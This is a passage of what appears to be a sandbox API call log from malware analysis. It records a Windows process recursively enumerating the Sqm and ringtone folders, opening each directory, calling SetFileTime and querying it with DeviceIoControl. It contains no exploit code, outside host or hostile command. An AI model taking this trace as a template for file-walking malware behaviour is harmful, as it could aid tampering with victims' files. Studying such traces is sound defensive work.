lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.937] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.937] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.937] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x264, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0091.937] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x31469, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 01.wma", cAlternateFileName="")) returned 1 [0091.937] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x21fbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 02.wma", cAlternateFileName="")) returned 1 [0091.937] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 03.wma", cAlternateFileName="")) returned 1 [0091.937] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a039, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 04.wma", cAlternateFileName="")) returned 1 [0091.937] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1b6e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 05.wma", cAlternateFileName="")) returned 1 [0091.937] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 06.wma", cAlternateFileName="")) returned 1 [0091.937] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 07.wma", cAlternateFileName="")) returned 1 [0091.937] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x21fbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 08.wma", cAlternateFileName="")) returned 1 [0091.937] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1b6e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 09.wma", cAlternateFileName="")) returned 1 [0091.937] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 10.wma", cAlternateFileName="")) returned 1 [0091.937] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 10.wma", cAlternateFileName="")) returned 0 [0091.937] GetLastError () returned 0x12 [0091.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.938] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.939] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sqm", cAlternateFileName="")) returned 1 [0091.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.939] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm" (normalized: "c:\\users\\all users\\microsoft\\windows\\sqm"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.940] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm" (normalized: "c:\\users\\all users\\microsoft\\windows\\sqm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.940] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.940] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.941] NtClose (Handle=0x15c) returned 0x0 [0091.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.942] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.942] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.942] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manifest", cAlternateFileName="")) returned 1 [0091.942] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sessions", cAlternateFileName="")) returned 1 [0091.942] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upload", cAlternateFileName="")) returned 1 [0091.942] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upload", cAlternateFileName="")) returned 0 [0091.942] GetLastError () returned 0x12 [0091.942] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0091.942] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.942] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.942] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manifest", cAlternateFileName="")) returned 1 [0091.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.942] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Manifest" (normalized: "c:\\users\\all users\\microsoft\\windows\\sqm\\manifest"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.943] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Manifest" (normalized: "c:\\users\\all users\\microsoft\\windows\\sqm\\manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.943] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0091.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.943] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0091.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.943] NtClose (Handle=0x15c) returned 0x0 [0091.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbfc0 [0091.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc048 [0091.945] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Manifest\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0091.945] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.945] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.945] GetLastError () returned 0x12 [0091.945] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Manifest\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9180 [0091.945] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.945] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.945] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.945] GetLastError () returned 0x12 [0091.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc048) returned 1 [0091.945] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.946] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbfc0) returned 1 [0091.946] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.946] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sessions", cAlternateFileName="")) returned 1 [0091.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.946] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Sessions" (normalized: "c:\\users\\all users\\microsoft\\windows\\sqm\\sessions"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.947] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Sessions" (normalized: "c:\\users\\all users\\microsoft\\windows\\sqm\\sessions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.947] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0091.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.947] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0091.947] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.947] NtClose (Handle=0x17c) returned 0x0 [0091.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbfc0 [0091.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc048 [0091.949] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Sessions\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9180 [0091.949] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.949] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.949] GetLastError () returned 0x12 [0091.949] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Sessions\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0091.949] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.949] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.949] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.949] GetLastError () returned 0x12 [0091.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc048) returned 1 [0091.949] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbfc0) returned 1 [0091.950] RtlFreeHeap 